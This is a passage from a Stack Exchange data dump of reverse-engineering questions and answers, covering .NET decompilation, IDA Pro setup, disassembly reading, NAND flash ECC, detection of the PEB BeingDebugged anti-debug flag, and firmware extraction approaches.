  <row Id="12874" PostTypeId="1" CreationDate="2016-06-17T19:24:38.953" Score="4" ViewCount="54636" Body="&lt;p&gt;I paid a freelancer programmer for an app to tun my clinic. He got about 95% of the project done, but then got a job elsewhere and vanished into thin air, along with my source code... So, I have a semi-working program and I need to finish it. How can I recover the source code (Visual Studio, C#) to a point I can finish what I need and then recompile it again? Is this possible? I'm willing to buy/pay...&lt;/p&gt;&#xA;" OwnerUserId="16438" LastActivityDate="2018-05-19T11:19:51.153" Title="Recover source code for C# .exe" Tags="|decompile|c#|" AnswerCount="5" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12875" PostTypeId="2" ParentId="12874" CreationDate="2016-06-17T19:54:10.803" Score="2" Body="&lt;p&gt;There are many free and paid utilities out there that aim to decompile .NET applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I use &lt;a href=&quot;https://www.red-gate.com/dynamic/products/dotnet-development/reflector/download&quot; rel=&quot;nofollow&quot;&gt;.NET Reflector&lt;/a&gt; - which is a commercial application with a 14-day free evaluation version.&lt;/p&gt;&#xA;" OwnerDisplayName="user15338" LastEditorUserId="3615" LastEditDate="2016-06-18T17:04:55.350" LastActivityDate="2016-06-18T17:04:55.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12876" PostTypeId="1" AcceptedAnswerId="12879" CreationDate="2016-06-18T05:40:26.670" Score="4" ViewCount="5512" Body="&lt;p&gt;I'm looking to buy an IDA Pro license for my own home use. However, I use all three supported platforms: Windows and Linux on desktop, and OS X on a laptop. I can't afford more than one license, so I'm interested to see if other people have been in a similar situation and how they solved it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial thoughts on each version:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Mac OS X: I use my laptop most often, but reversing on a 13&quot; screen isn't always fun, I would not be able to use the Mac version on either Windows or Linux.&lt;/li&gt;&#xA;&lt;li&gt;Windows: I've heard good things about running the Windows version in Wine on Mac and Linux, or even in a VM.&lt;/li&gt;&#xA;&lt;li&gt;Linux: I almost always have a Linux VM even when I'm on Mac or Windows, so I could always install IDA in a VM.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm leaning towards the Windows or Linux versions to be able to use anywhere, but I've never used IDA in a non-native environment, so I'm somewhat concerned about keyboard shortcuts and integration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on a good way to go?&lt;/p&gt;&#xA;" OwnerUserId="12170" LastActivityDate="2016-06-19T04:48:20.540" Title="Using IDA cross platform: VM, Wine, other options?" Tags="|ida|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12877" PostTypeId="1" AcceptedAnswerId="12878" CreationDate="2016-06-18T05:41:00.827" Score="0" ViewCount="212" Body="&lt;p&gt;I got an x86 binary for linux and I use gdb to disassemble the main function. I see this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   0x08048080 &amp;lt;+0&amp;gt;:     push   0x8049128&#xA;   0x08048085 &amp;lt;+5&amp;gt;:     call   0x804810f&#xA;   0x0804808a &amp;lt;+10&amp;gt;:    call   0x804809f&#xA;   0x0804808f &amp;lt;+15&amp;gt;:    cmp    eax,0x10f&#xA;   0x08048094 &amp;lt;+20&amp;gt;:    je     0x80480dc&#xA;   0x0804809a &amp;lt;+26&amp;gt;:    call   0x8048103&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I could not understand it since the regular main that I disassemble normally looks like the one below with some preambles.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   0x0804841d &amp;lt;+0&amp;gt;:     push   %ebp&#xA;   0x0804841e &amp;lt;+1&amp;gt;:     mov    %esp,%ebp&#xA;   0x08048420 &amp;lt;+3&amp;gt;:     and    $0xfffffff0,%esp&#xA;   0x08048423 &amp;lt;+6&amp;gt;:     sub    $0x10,%esp&#xA;   0x08048426 &amp;lt;+9&amp;gt;:     movl   $0x80484d0,(%esp)&#xA;   0x0804842d &amp;lt;+16&amp;gt;:    call   0x80482f0 &amp;lt;puts@plt&amp;gt;&#xA;   0x08048432 &amp;lt;+21&amp;gt;:    leave  &#xA;   0x08048433 &amp;lt;+22&amp;gt;:    ret    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Questions:&#xA;Can someone explain the first disassembly?&lt;/p&gt;&#xA;" OwnerUserId="4216" LastActivityDate="2016-08-17T08:56:50.463" Title="Simple main program" Tags="|disassembly|x86|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12878" PostTypeId="2" ParentId="12877" CreationDate="2016-06-18T06:22:47.907" Score="1" Body="&lt;p&gt;This looks like a normal main function. Its just that your addresses have not been resolved properly in the first disassembly, while they have been in the second one. You can do &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;info symbol 0x804810f&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in  gdb and it would output something like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;puts in section .lib&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you can resolve all the functions being called. Alternatively you can use the &lt;code&gt;nm&lt;/code&gt; utility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second disassembly has prolog and epilog for stack management and function returns because it has been auto generated by the compiler. However in the first disassembly, it looks like the program author assembled the file with nasm and author used minimal code to do so.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="14622" LastEditDate="2016-06-18T07:04:22.047" LastActivityDate="2016-06-18T07:04:22.047" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12879" PostTypeId="2" ParentId="12876" CreationDate="2016-06-18T08:45:34.703" Score="3" Body="&lt;p&gt;Your IDA Pro license allows you to install IDA on two desktops and one laptop. You might want to check the license situation if you install IDA in a &quot;portable/VM&quot; environment, but only Hex-Rays can give you definite information here. So i'm omitting that part from my answer. (Some Hex-Rays employees frequent this site as well).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This depends a lot on your use case. How often do you want to do some reversing work when you have your laptop, but don't have access to your (Windows/Linux) desktop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i'm using IDA, i want to have a lot of screen estate for it, and don't generally need much screen for the debugee. Which generally means you want IDA on your host OS, and the debugee in the guest OS, as you'll always be able to access the whole screen on the host, but maybe not in the guest, especially in multi-monitor-configurations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, i have the Linux version, and while Linux is my main desktop environment, i needed to use IDA at a customer once, that allowed only Windows in their network. I was allowed to install VirtualBox and run Linux in that VirtualBox (Host only network, no access from Linux to their net), and my IDA worked very well, using the &quot;remote debugger&quot; to debug stuff running on the host. So while i did miss my big screen, i was able to work without any hassle regarding keyboard shortcuts, inability to do what i needed, or crashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you're travelling and working on your Mac laptop 95% of your time, i'd buy the Mac version if i were you, and debug Linux/Windows programs in VMs. If you're have access to desktop most of the time, and consider IDA on the Mac a kind of &quot;emergency mode&quot;, get the version for the OS you use on your desktop most, and install a VM with IDA inside it on the Mac. In this case it shouldn't matter much if that OS is Windows or Linux.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-06-18T08:45:34.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12880" PostTypeId="2" ParentId="10975" CreationDate="2016-06-18T10:09:40.647" Score="6" Body="&lt;p&gt;First of all the ECC scheme used does not necessaryly have to be the for all the flash erase blocks. There are ususally 3 different types of flash partitions used and for every type the method to specify the used ECC code differs:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The one that are accessed by the ROM bootcode&lt;/li&gt;&#xA;&lt;li&gt;The ones that are accessed by the bootloader (usually u-boot)&lt;/li&gt;&#xA;&lt;li&gt;The ones that are accessed by the operating system (assuming you are using Linux)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In general the use of a specific ECC method is limited by the OOB size of the flash. &lt;em&gt;The AM335x_U-Boot_User's_Guide&lt;/em&gt; (cannot post link here because of reputation) explains it in sections &lt;em&gt;BCH Flash OOB Layout&lt;/em&gt; and the example matches to the flash chip you are using. The 64 bytes per 2k page effectively limit the usable ECC algorithms to BCH8, BCH4 or HAMMING codes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;BCH Flash OOB Layout&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For any ECC scheme we need to add some extra data while writing so as to detect and correct (if possible) the errors introduced by the NAND part. In case of BCH scheme some bytes are needed to store the ECC related info.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The section of NAND memory where addition info like ECC data is stored is referred to as Out Of Band or OOB section.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The first 2 bytes are used for Bad block marker – 0xFFFF =&gt; Good block&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The next ‘N’ bytes is used for BCH bytes&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;N = B * Number of 512-byte sectors in a page&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;B = 8 bytes per 512 byte sector in BCH4&#xA;     B = 14 bytes per 512 byte sector in BCH8&#xA;     B = 26 bytes per 512 byte sector in BCH16&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;So for a 2k page-size NAND flash with 64-byte OOB size, we will use BCH8. This will consume 2 + (14*4) = 58 bytes out of 64 bytes available. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h3&gt;ECC used by ROM bootcode&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The AM335x processor's ROM bootcode decides which ECC scheme to use for NAND flash depending on the mechanism expalined in the AM335x technical reference manual chapter 26.1.7.4 NAND&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ECC Correction&#xA;  The default ECC correction applied is BCH 8b/sector using the GPMC and ELM hardware.&#xA;  For device ID codes D3h, C3h, D5h, C5h, D7h, C7h, DEh, CEh when manufacturer code (first ID byte) is&#xA;  98h the Cell type information is checked in the 4th byte of ID data. If it is equal to 10b then the ECC&#xA;  correction applied is BCH 16b/sector.&#xA;  In addition ECC computation done by the ROM can be turned off completely by using SYSBOOT[9]. This&#xA;  is particularly useful when interfacing with NAND devices that have built in ECC engines.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Other ways to control the ECC behavior are ONFI or and I2C EEPROM but the H27U1G8F2BTR datasheet does not mention ONFI so I guess it is not supported by the flash chip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically BCH8 or BCH16 or no ECC mechanism is used for the first 128K the ROM bootloader reads from NAND flash.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;ECC used by the bootloader&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The bootloader decides this on his own. For example for U-boot this information is compiled into u-boot and the first level bootloader (SPL/MLO) as well. The information is controlled by U-Boot configuration settings set at compile time. Recent versions of U-boot can switch the ecc at runtime using the nandecc command.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;ECC used by the OS&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The selection is completely OS specific. For Linux embedded systems using AM335x processors I know that this information is passed into the kernel using the device tree.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Which ECC method does nandsim use&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;There is a parameter called &lt;em&gt;bch&lt;/em&gt; which can be passed to the nandsim module&#xA;to select an ecc code. From the code I guess It is initialized to zero so it won't use any ECC code. So it seems that nandsim can use BCH8 and BCH16 but only one for the whole flash that is simulated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;modprobe nandsim bch=8 first_id_byte=0xad second_id_byte=0xf1 third_id_byte=0x00 fourth_id_byte=0x1d&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Which ECC method does nanddump/nandwrite use&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Again, this depends on the OS/Linux you used to dump the flash. Similar to the nandsim module real mtd drivers have ways to specify the used ECC scheme (kernel parameters, device tree). But you can instruct nanddump to ignore the ECC information, too.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;References&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;AM335x technical reference manual &lt;a href=&quot;http://www.ti.com/lit/gpn/am3359&quot; rel=&quot;noreferrer&quot;&gt;http://www.ti.com/lit/gpn/am3359&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;bch Linux Kernel parameter for nandsim &lt;a href=&quot;http://lxr.free-electrons.com/source/drivers/mtd/nand/nandsim.c#L175&quot; rel=&quot;noreferrer&quot;&gt;http://lxr.free-electrons.com/source/drivers/mtd/nand/nandsim.c#L175&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;The AM335x_U-Boot_User's_Guide&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="16442" LastActivityDate="2016-06-18T10:09:40.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12884" PostTypeId="1" CreationDate="2016-06-18T17:58:26.817" Score="1" ViewCount="4548" Body="&lt;p&gt;I'm trying to reverse this code on windows,&#xA;what those lines mean?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     eax, large fs:18h&#xA;mov     eax, [eax+30h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fldz&#xA;fstenv  [esp+var_1C]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;full code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     eax, large fs:18h&#xA;mov     eax, [eax+30h]&#xA;push    eax&#xA;movzx   eax, byte ptr [eax+2]&#xA;call    unkfunc&#xA;jnz     loc_4031ED&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;unkfunc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_1C= byte ptr -1Ch&#xA;&#xA;fldz&#xA;fstenv  [esp+var_1C]&#xA;jmp     short test_eax_eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;test_eax_eax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;test eax,eax&#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16450" LastActivityDate="2016-06-21T05:30:50.910" Title="Reversing code, large fs:18h meaning" Tags="|ida|disassembly|windows|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12885" PostTypeId="2" ParentId="12874" CreationDate="2016-06-18T18:37:52.193" Score="5" Body="&lt;p&gt;As far as free and open source tools go, I'd recommend &lt;a href=&quot;https://github.com/0xd4d/dnSpy&quot; rel=&quot;noreferrer&quot;&gt;dnSpy&lt;/a&gt;. It is the best tool I've used for .NET reverse engineering. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also want to try out &lt;a href=&quot;http://ilspy.net/&quot; rel=&quot;noreferrer&quot;&gt;ILSpy&lt;/a&gt;, which is free and open source as well.&lt;/p&gt;&#xA;" OwnerUserId="12872" LastActivityDate="2016-06-18T18:37:52.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12887" PostTypeId="2" ParentId="12876" CreationDate="2016-06-18T22:18:27.290" Score="1" Body="&lt;p&gt;I have the Windows version with Hexrays, and in my experience I've had issues with the wine packages in Ubuntu (14.04 and 16.04) and macOS (homebrew) for the latest IDA version (6.9). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use the wine development releases (1.9.12+), then IDA works fine.&lt;/p&gt;&#xA;" OwnerUserId="16452" LastActivityDate="2016-06-18T22:18:27.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12889" PostTypeId="2" ParentId="12876" CreationDate="2016-06-19T04:48:20.540" Score="1" Body="&lt;p&gt;I've been using a Windows version of IDA Pro for years on OSX through VMware Fusion. Not daily, though - yet no problems whatsoever. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a VM is even better because you can take snapshots of your VM before e.g. starting working with malware and revert them when you're done. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Re screen estate - nothing to worry about, VMware VMs can run full screen, using every pixel available&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that an OSX version of IDA Pro will likely have different (and more :)) bugs which remain unfixed for longer (at least this is my impression) than in a Windows version. Plus a bunch of plugins are Windows-only or at least barely tested on OSX, if compilable at all. Same situation, if not worse, with Linux in place of OSX.&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2016-06-19T04:48:20.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12891" PostTypeId="2" ParentId="12475" CreationDate="2016-06-19T20:14:43.180" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/idaapi.treeloc_t-class.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;treeloc_t&lt;/code&gt; constructor&lt;/a&gt; does not accept an EA, and you need to specify the comment preciser:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ea = idaapi.get_screen_ea()&#xA;cfunc = idaapi.decompile(ea)&#xA;tl = idaapi.treeloc_t()&#xA;tl.ea = ea&#xA;tl.itp = idaapi.ITP_SEMI&#xA;cfunc.set_user_cmt(tl, &quot;Test comment&quot;)&#xA;cfunc.save_user_cmts()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can find more info about the precisers in &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/sdk/group__type.shtml#ga219c95f85c085e6f539b8d3b96074aee&quot; rel=&quot;nofollow&quot;&gt;hexrays.hpp&lt;/a&gt;. Not all precisers work everywhere. For example, the above code uses &lt;code&gt;ITP_SEMI&lt;/code&gt;, which comments after a semicolon: it will result in an orphan comment if you use it on an &lt;code&gt;if&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12484" LastActivityDate="2016-06-19T20:14:43.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12892" PostTypeId="1" AcceptedAnswerId="12980" CreationDate="2016-06-19T22:55:06.843" Score="1" ViewCount="375" Body="&lt;p&gt;I have a powerpc computer that takes ELF files for its code. I have made a tool that allows me to extract and inject segments successfully, but I am missing a small piece of information regarding the modifications I would like to make. How can I call the original code, and how can I store the variables that need to be global?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can change where the exported functions point, which is all I need to enable the changes that I want. I am not completely sure how I should implement the stub for the functions in ASM to call some C code without messing with the stack or registers unless I explicitly want that to happen. My thought is to make a few small functions that branch out to a second stub that would handle all the state management to prepare for the C code. I was thinking I can use this &quot;dual stage stub&quot; in order to have the first part of the originalText+function*4 and do some easy math for that, and only need to change the exported functions whenever I add/remove a hooked function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;I figured I should add some clarification to this. I mainly want to have the program connect to a remote device and log some stuff. So I require an active socket connection to be maintained using method calls. I am also using a proprietary OS that has a slightly modified ELF format, but the only extra is the zLib compression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 2:&#xA;Ok, I understand the calling better. I was overcomplicating this some, just need the one branch. I also found an address to stick a malloc'd pointer for my data. Now all I need to figure out is how to get GCC to do a relitave jump when calling an address with a PIE. Since I am tacking my code on the end I know I am X away, but I do not know the real address because my exacutable can move in memory.&lt;/p&gt;&#xA;" OwnerUserId="16467" LastEditorUserId="16467" LastEditDate="2016-06-26T06:21:51.353" LastActivityDate="2016-07-04T02:45:09.450" Title="Append Code To Text Segment With Global Variables?" Tags="|elf|powerpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12893" PostTypeId="1" CreationDate="2016-06-20T03:20:15.377" Score="2" ViewCount="336" Body="&lt;p&gt;This might be a newbie question but it really takes too long to search for certain things in IDA, when I close the app and save the database all my searches are gone and that's just frustrating.&#xA;I'm aware that I can copy and paste them all in text file but I prefer saving them in IDA itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="11482" LastActivityDate="2016-06-20T03:20:15.377" Title="Is there anyway to save search results in IDA Pro?" Tags="|ida|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12894" PostTypeId="2" ParentId="12884" CreationDate="2016-06-20T08:25:06.307" Score="3" Body="&lt;p&gt;As I commented code is checking &lt;code&gt;BeingDebugged&lt;/code&gt; member of &lt;code&gt;ProcessEnvironmentBlock&lt;/code&gt;  structure&lt;br&gt;&#xA;&lt;code&gt;_PEB&lt;/code&gt; is a memebr of &lt;code&gt;ThreadEnvironemntBlock&lt;/code&gt; structure &lt;code&gt;_TEB&lt;/code&gt;&lt;br&gt;&#xA;the call is probably junk / anyway it doesn't alter eax ie eax will not be 0 if you are debugging &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0:000&gt; r fs&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fs=0000003b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0:000&gt; dd /c 1 [3b:18]  L?0x1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;003b:00000018  7ffdf000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0:000&gt; ? $teb&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Evaluate expression: 2147348480 = 7ffdf000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0:000&gt; dd /c 1 poi([3b:18])+0x30  L?0x1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7ffdf030  7ffd3000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0:000&gt; ? @$peb&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Evaluate expression: 2147299328 = 7ffd3000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0:000&gt; db /c 1 poi(poi([3b:18])+0x30)  L?0x3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7ffd3000  00  .&#xA;7ffd3001  00  .&#xA;7ffd3002  01  .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0:000&gt; ?? @$peb-&gt;BeingDebugged&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned char 0x01 ''&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0:000&gt; ? @@c++(&amp;amp;(@$peb-&gt;BeingDebugged))&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Evaluate expression: 2147299330 = 7ffd3002&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0:000&gt; db (poi((@$teb + @@(#FIELD_OFFSET(ntdll!_TEB,ProcessEnvironmentBlock))))) + @@(#FIELD_OFFSET(ntdll!_PEB,BeingDebugged)) l?@@(#RTL_FIELD_SIZE(ntdll!_PEB,BeingDebugged))&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7ffd3002  01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;some more :) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; db (poi((poi(3b:18) + @@(#FIELD_OFFSET(ntdll!_TEB,ProcessEnvironmentBlock))))) + @@(#FIELD_OFFSET(ntdll!_PEB,BeingDebugged)) l?@@(#RTL_FIELD_SIZE(ntdll!_PEB,BeingDebugged))&#xA;7ffd3002  01                                               .&#xA;0:000&amp;gt; db (poi((poi(@fs:18) + @@(#FIELD_OFFSET(ntdll!_TEB,ProcessEnvironmentBlock))))) + @@(#FIELD_OFFSET(ntdll!_PEB,BeingDebugged)) l?@@(#RTL_FIELD_SIZE(ntdll!_PEB,BeingDebugged))&#xA;7ffd3002  01         &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;forgot to mention the new born baby viz natvis&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dx &amp;amp;Debugger.State.PseudoRegisters.General.teb[0],1&#xA;&#xA;0x7ffdf000 [Type: _TEB *]&#xA;    [0]              [Type: _TEB]&#xA;&#xA;0:000&amp;gt; dx &amp;amp;Debugger.State.PseudoRegisters.General.teb-&amp;gt;ProcessEnvironmentBlock&#xA;&#xA;0x7ffdf030 [Type: _PEB * *]&#xA;    0x7ffda000 [Type: _PEB *]&#xA;&#xA;0:000&amp;gt; dx &amp;amp;Debugger.State.PseudoRegisters.General.teb-&amp;gt;ProcessEnvironmentBlock-&amp;gt;BeingDebugged&#xA;&#xA;0x7ffda002 : 0x1 [Type: unsigned char *]&#xA;    0x1&#xA;                                       .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2016-06-21T05:30:50.910" LastActivityDate="2016-06-21T05:30:50.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12897" PostTypeId="2" ParentId="12874" CreationDate="2016-06-20T19:54:52.980" Score="3" Body="&lt;p&gt;To answer your question &quot;Can I end up with the original source code in a way I can finish the coding of the missing items and recompile again?&quot;: if it runs on your system, it means you have all the dependencies needed and you'll be able to decompile to a state where you can edit and recompile at will.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know about Reflector, but with ILSpy, you have the option in the File menu to &quot;Save as...&quot; and you can save a .csproj or a .vbproj (this can be done because the intermediate language of .Net can round-trip to both languages; so even if coding was in C#, you can roundtrip to VB if you wanted).&lt;/p&gt;&#xA;" OwnerUserId="16477" LastActivityDate="2016-06-20T19:54:52.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12898" PostTypeId="2" ParentId="12539" CreationDate="2016-06-20T23:52:39.210" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/CrowdStrike/pyspresso/blob/master/pyspresso/samples/javajournal.py&quot; rel=&quot;nofollow&quot;&gt;JavaJournal&lt;/a&gt;, which was built on top of the &lt;a href=&quot;https://github.com/CrowdStrike/pyspresso&quot; rel=&quot;nofollow&quot;&gt;pyspresso&lt;/a&gt; framework, was designed specifically for tracing method calls in Java.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-06-20T23:52:39.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12900" PostTypeId="2" ParentId="12873" CreationDate="2016-06-21T07:37:06.077" Score="3" Body="&lt;p&gt;I am &lt;strong&gt;no expert in the matter&lt;/strong&gt; but that seems &lt;strong&gt;highly unlikely&lt;/strong&gt;. There are 2 ways how to approach that I know of:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;detect/exploit/sniff known interface&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like &lt;strong&gt;SPI,JTAG&lt;/strong&gt;,... or even memory interface (address,data and control buses) and do the dump with some &lt;strong&gt;MCU&lt;/strong&gt; to &lt;strong&gt;PC&lt;/strong&gt; adapter attached to it or dump to &lt;strong&gt;SD&lt;/strong&gt; card or what ever. This is not invasive approach but needs to have the interface present. If you do not have the pinout for the chip (or the &lt;strong&gt;PCB&lt;/strong&gt; ...) try to find the other stuff connected to it.  Also using oscilloscope helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if the access to data is restricted you're out of luck (fuses,&lt;strong&gt;HW/SW&lt;/strong&gt; key ...). Also this way is not guaranteed that you will got the whole memory dump either. Mostly the interfaces are controlled by software so you would need to hack in the protocol. With &lt;strong&gt;HW&lt;/strong&gt; interfaces you got direct chip access according to your privileges set by fuses...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see related &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/12812/4709&quot;&gt;Thought I found serial port - broke embedded device instead! Help?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Die shot analysis&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some cases the chip is sliced to obtain a die shot (but that of coarse destroys the chip for good). Then according to used technology you can reverse engineer the whole circuit diagram including &lt;strong&gt;PROM&lt;/strong&gt; related stuff and obtain the data &quot;directly&quot;. With &lt;strong&gt;EEPROM&lt;/strong&gt; is this tricky as the information is stored as charge so you would need some really tricky sensors to scan that more like some liquid crystal based solution. but the possibility of error is extremly high as the info can 